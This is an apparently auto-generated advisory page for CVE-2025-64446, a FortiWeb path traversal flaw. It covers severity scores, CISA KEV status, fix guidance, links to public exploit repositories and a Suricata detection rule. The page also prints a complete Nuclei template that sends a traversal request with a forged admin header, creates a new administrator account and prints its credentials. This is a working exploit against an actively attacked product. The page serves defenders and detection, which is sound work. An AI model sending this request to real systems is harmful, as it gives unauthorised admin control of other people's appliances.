CVE-2025-64446: Fortinet FortiWeb Path Traversal Vulnerability

What it is

A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.

Description quoted from the CVE record (assigned by fortinet, published 2025-11-14).

Weakness: Escalation of privilege

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since

2025-11-14

US federal deadline

2025-11-21

Ransomware use

Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-14084, CNNVD-202511-1746, EDB-52495, EDB-52502, EUVD-2025-197613, GHSA-hp5v-vp9j-7vp9

VEDAS cluster: VEDAS:DRAGOONDALTON

Exploit Observer links 24 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (24)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Exploit-DB: https://www.exploit-db.com/raw/52495
• Exploit-DB: https://www.exploit-db.com/raw/52502
• Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-64446.yaml
• Code repository: https://github.com/0xblackash/cve-2025-64446
• Code repository: https://github.com/an5i/cve-2025-64446-fortiweb-exploit
• Code repository: https://github.com/ashwesker/blackash-cve-2025-64446
• Code repository: https://github.com/baosec/cve-2025-64446-cve-2025-58034-research-and-analysis
• Code repository: https://github.com/cerberusmrxi/fortiweb-cve-2025-64446-rce-exploit
• Code repository: https://github.com/d3crypt0r/cve-2025-64446
• Code repository: https://github.com/death112233/cve-2025-64446-
• Code repository: https://github.com/eagle-nett/fortiweb_cve-2025-64446-58034
• Code repository: https://github.com/fevar54/cve-2025-64446-poc---fortiweb-path-traversal
• and 12 more

Research and write-ups (3)

• Research or write-up: https://bishopfox.com/blog/fortinet-fortiweb-authentication-bypass-cve-2025-64446
• Research or write-up: https://bitsight.com/blog/critical-vulnerability-alert-cve-2025-64446-fortinet-fortiweb-vulnerability
• Research or write-up: https://www.patreon.com/posts/cve-2025-64446-8-143791801

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-197613
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-hp5v-vp9j-7vp9
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-64446
• Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202511-1746

54 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

0.911
very likely to be attacked soon

VEDAS

0.983
strong exploit evidence

On CISA KEV

Yes, since 2025-11-14

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: fortinet fortiweb, fortinet_inc. fortiweb.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

• https://www.fortiguard.com/psirt/FG-IR-25-910
• https://nvd.nist.gov/vuln/detail/CVE-2025-64446

How to detect it

Nuclei template (active check)

FortiWeb - Path Traversal

A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi); it decides using dsl, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2025-64446.yaml

id: CVE-2025-64446

info:
  name: "FortiWeb - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through
    7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an
    attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-64446&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=fortiweb&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-64446
    cwe-id: CWE-23
  metadata:
    verified: false
  tags: cve,cve2025,fortiweb,fortigate,intrusive,auth-bypass,kev,vkev
variables:
  username: "{{to_lower(rand_text_alpha(8))}}"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
        Host: {{Hostname}}
        CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
        Content-Type: application/json

        {
            "data": {
                "q_type": 1,
                "name": "{{username}}",
                "access-profile": "prof_admin",
                "access-profile_val": "0",
                "last-name": "",
                "first-name": "",
                "email-address": "",
                "phone-number": "",
                "mobile-number": "",
                "hidden": 0,
                "comments": "",
                "sz_dashboard": -1,
                "type": "local-user",
                "type_val": "0",
                "admin-usergrp_val": "0",
                "wildcard_val": "0",
                "accprofile-override_val": "0",
                "sshkey": "",
                "trusthostv4": "127.0.0.1/8",
                "trusthostv6": "::1/128",
                "passwd-set-time": 0,
                "history-password-pos": 0,
                "history-password0": "",
                "history-password1": "",
                "history-password2": "",
                "history-password3": "",
                "history-password4": "",
                "history-password5": "",
                "history-password6": "",
                "history-password7": "",
                "history-password8": "",
                "history-password9": "",
                "force-password-change": "disable",
                "force-password-change_val": "0",
                "password": "{{password}}"
            }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"results":'
          - '"can_clone":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"USERNAME: "+ username'
          - '"PASSWORD: "+ password'

CVE-2025-64446.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-64446 FortiWeb - Path Traversal. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-64446 FortiWeb - Path Traversal"; flow:established,to_server; http.uri; content:"admin%3f"; nocase; content:"../../../"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-64446; reference:url,https://www.exploit.observer/?keyword=CVE-2025-64446&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=fortiweb&match=exact; sid:1009172; rev:1;)

CVE-2025-64446.rules on GitHub

Advisories on this CVE

• FortiWeb path traversal plus command injection (CVE-2025-64446 / -58034) (14 Nov 2025)

References

Exploits and technical analysis

• https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass (exploit)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-64446 (government-resource)

Other references

• https://fortiguard.fortinet.com/psirt/FG-IR-25-910

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.